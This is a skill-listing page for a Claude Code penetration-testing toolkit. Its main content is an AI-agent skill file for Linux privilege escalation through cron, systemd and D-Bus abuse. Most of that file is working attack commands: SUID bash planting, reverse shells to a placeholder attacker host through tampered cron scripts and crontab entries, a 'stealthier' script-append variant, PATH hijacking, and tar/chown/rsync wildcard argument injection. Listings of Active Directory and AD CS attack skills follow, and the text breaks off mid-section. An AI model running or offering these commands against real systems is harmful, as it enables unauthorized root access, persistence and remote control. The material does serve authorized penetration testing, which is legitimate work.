acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Exploit cron jobs, systemd timers/services, D-Bus services, and Unix sockets for privilege escalation.
$ npx -y skills add blacklanternsecurity/red-run --skill linux-cron-service-abuse --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/linux-cron-service-abuseContext preview
The summary Claude sees to decide when to auto-load this skill.
Exploit cron jobs, systemd timers/services, D-Bus services, and Unix sockets for privilege escalation.
name: linux-cron-service-abuse description: > Exploit cron jobs, systemd timers/services, D-Bus services, and Unix sockets for privilege escalation. keywords: - cron privesc - wildcard injection - systemd abuse - dbus exploit - pspy found root process - writable cron script - polkit bypass - pwnkit tools: - pspy - busctl - gdbus - dbus-send - systemctl - crontab opsec: medium
You are helping a penetration tester exploit scheduled tasks, services, and inter-process communication mechanisms for privilege escalation. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
unit, exploitable D-Bus service, writable Unix socket
If not already provided by linux-discovery, enumerate:
# Cron jobs crontab -l 2>/dev/null cat /etc/crontab 2>/dev/null ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ 2>/dev/null cat /etc/cron.d/* 2>/dev/null # Systemd timers and services systemctl list-timers --all --no-pager 2>/dev/null systemctl list-units --type=service --state=running --no-pager 2>/dev/null # Process monitoring (leave running) ./pspy64 -pf -i 1000
Classify findings and proceed to the relevant section below.
If a root cron job executes a script you can modify:
# Verify write access ls -la /path/to/cron_script.sh # Option 1: SUID bash (persistent) echo '#!/bin/bash cp /bin/bash /tmp/rootbash chown root:root /tmp/rootbash chmod 4755 /tmp/rootbash' > /path/to/cron_script.sh chmod +x /path/to/cron_script.sh # Wait for cron execution, then: /tmp/rootbash -p
# Option 2: Reverse shell (immediate access) echo '#!/bin/bash bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /path/to/cron_script.sh chmod +x /path/to/cron_script.sh # Start listener: nc -lvnp PORT
# Option 3: Append to existing script (stealthier) echo '' >> /path/to/cron_script.sh echo 'cp /bin/bash /tmp/.rootbash && chmod 4755 /tmp/.rootbash' >> /path/to/cron_script.sh
If a cron job calls a binary without a full path:
# Example crontab entry: # * * * * * root backup_script # Check cron PATH (first line of /etc/crontab) head -5 /etc/crontab # Default: PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Find a writable directory that appears before the real binary in PATH echo $PATH | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "WRITABLE: $d"; done # Create hijack binary in writable PATH directory cat > /writable/path/backup_script << 'EOF' #!/bin/bash cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash # Run original to avoid breaking things /usr/bin/backup_script "$@" EOF chmod +x /writable/path/backup_script
If you can write to cron directories:
# Direct injection to /etc/cron.d/ (if writable) cat > /etc/cron.d/exploit << 'EOF' * * * * * root /bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' EOF # Or via crontab command (user crontab) (crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'") | crontab -
**Important:** Cron files in `/etc/cron.d/` must have correct permissions (644, owned by root) or they may be ignored. User crontabs via `crontab -e` don't have this restriction.
When a root-owned cron job or script uses wildcards (`*`) in commands, you can inject arguments via specially-named files.
**Target pattern:** `tar czf backup.tar.gz *` or `tar czf backup.tar.gz /path/*`
# Navigate to the directory where tar runs with wildcards cd /path/to/target_directory # Create payload script cat > shell.sh << 'EOF' #!/bin/bash cp /bin/bash /tmp/rootbash chmod 4755 /tmp/rootbash EOF chmod +x shell.sh # Create checkpoint injection files touch -- '--checkpoint=1' touch -- '--checkpoint-action=exec=sh shell.sh' # When root's cron runs: tar czf backup.tar.gz * # The * expands to include --checkpoint=1 and --checkpoint-action=exec=sh shell.sh # tar executes shell.sh as root
**Wait for execution, then:** `/tmp/rootbash -p`
**Target pattern:** `chown -R user:group *` or `chmod -R 755 *`
cd /path/to/target_directory # Create reference file that points to a file with desired ownership touch -- '--reference=/etc/passwd' # When root runs: chown nobody:nobody * # The --reference flag overrides and sets ownership to match /etc/passwd (root:root)
**Target pattern:** `rsync -az * backup:/dest/`
cd /path/to/target_directory touch -- '-e sh shell.sh' # When
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…